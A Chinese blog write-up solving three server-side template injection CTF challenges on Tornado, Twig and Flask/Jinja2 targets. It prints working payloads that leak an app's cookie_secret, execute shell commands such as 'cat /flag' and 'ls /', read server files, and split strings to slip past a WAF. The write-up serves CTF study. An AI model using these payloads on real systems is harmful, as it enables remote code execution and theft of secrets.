我的blog,欢迎来玩
前面写过学习文章
打开题目,只有三个链接,如图,
依次点开
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HYGqr8RK-1626099348826)(https://i.loli.net/2021/06/28/GUD9pRAlmoFywSE.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pMDy8Jjn-1626099348828)(https://i.loli.net/2021/06/28/7girIkdaASC4O1x.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uZdkQjPg-1626099348829)(https://i.loli.net/2021/06/28/dZghu8sTqkKbjzC.png)]
根据每个网址的链接和flag页面的内容可以推测,flag应该是
filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))
这种格式。
所以本题的关键在 cookie_secret
根据第二个链接内容,百度render可以发现,render()是tornado里的函数,可以生成html模板。
我们对网站进行尝试注入,看是否有注入点
filename=/fllllllllllllag&filehash={{7*7}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hCRGATyP-1626099348831)(https://i.loli.net/2021/06/28/Q3sXjMgDWcJ6C5P.png)]
发现网页报错,但明显还能尝试注入
error?msg={{7*7}} 和 error?msg={{7}}
发现当输入7*7时,返回orz;输入7时,返回7
说明可以注入,但*可能被过滤
因为存在注入点,所以我们需要寻找cookie_secret路径
百度发现,其存在位置为handler.settings
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NH3Se6CP-1626099348832)(https://i.loli.net/2021/06/28/qdHivX4ErBChAVl.png)]
进行注入得
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LZHxIs0D-1626099348833)(https://i.loli.net/2021/06/28/JmMcOqjIdl3gPoz.png)]
'cookie_secret': '3b278e82-468b-487a-8cd2-bcf53c8a19d0'}
因为 md5(filename)=md5(/fllllllllllllag)=3bf9f6cf685a6dd8defadabfb41a03a1
拼接后加密得 2bd5cf6fe358fa26518f4bca650e3a79
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wfXjt58p-1626099348833)(https://i.loli.net/2021/06/28/nIfBHhM9GJyP4qo.png)]
最后输入payload进行查询,得到flag
fllllllllllllag&filehash=2bd5cf6fe358fa26518f4bca650e3a79
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mdmz146V-1626099348834)(https://i.loli.net/2021/06/28/YGEbvcOZQahAgXN.png)]
flag{5d8b767c-07af-46ff-831d-30e9c7f4d32b}
打开题目,需要输入id,随便输入后发现找不到flag
尝试注入
发现有明显的注入漏洞,又因为结构为49且基于php,可以推测出模板为twig。根据源码提示进行抓包,发现uesr是注入点
直接百度或根据上一篇文章的payload进行注入
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
得flag{d7ef7d9d-6ba4-4dd5-88ec-33500d9b2ad3}
进去是这个页面,提示里没有信息
随便尝试后,发现加密中可以注入代码,解密就能得到值:
注入{{7+7}}得e3s3Kzd9fQ== 翻译得14
但再注入{{7*7}}时,加密得e3s3Kjd9fQ==
再解密却得
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-31qj0WWJ-1626099348835)(https://i.loli.net/2021/06/28/FkX7dReBKsACnqS.png)]
说明存在过滤
尝试注入查找目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BQd19D3h-1626099348836)(https://i.loli.net/2021/06/28/y8W4mGaiohPDg3J.png)]
发现又被过滤了,于是考虑查看源码,在解密中随便输入进入debug:
可以发现,在输出结果时有过滤,存在于app.py的waf中,百度一下payload,尝试读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-11RdUMpk-1626099348838)(https://i.loli.net/2021/06/28/W8zvhqFBGKiSnP5.png)]
找到了被过滤的字符
拼接os和import构造payload寻找目录:
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7h14Hx4E-1626099348839)(https://i.loli.net/2021/06/28/mVvwtf8ODhnukRW.png)]
然后拼接flag,读取文件:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MfR8KXJV-1626099348840)(https://i.loli.net/2021/06/28/QqiFUklB1j2MESu.png)]
得到flag{f8cc4e99-1ec3-49f2-b0be-b92686d4ff31}
buu中的部分ssti解题过程
flask之ssti模板注入
ssti详解与例题以及绕过payload大全
019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E6%94%BB%E5%87%BB)
ssti详解与例题以及绕过payload大全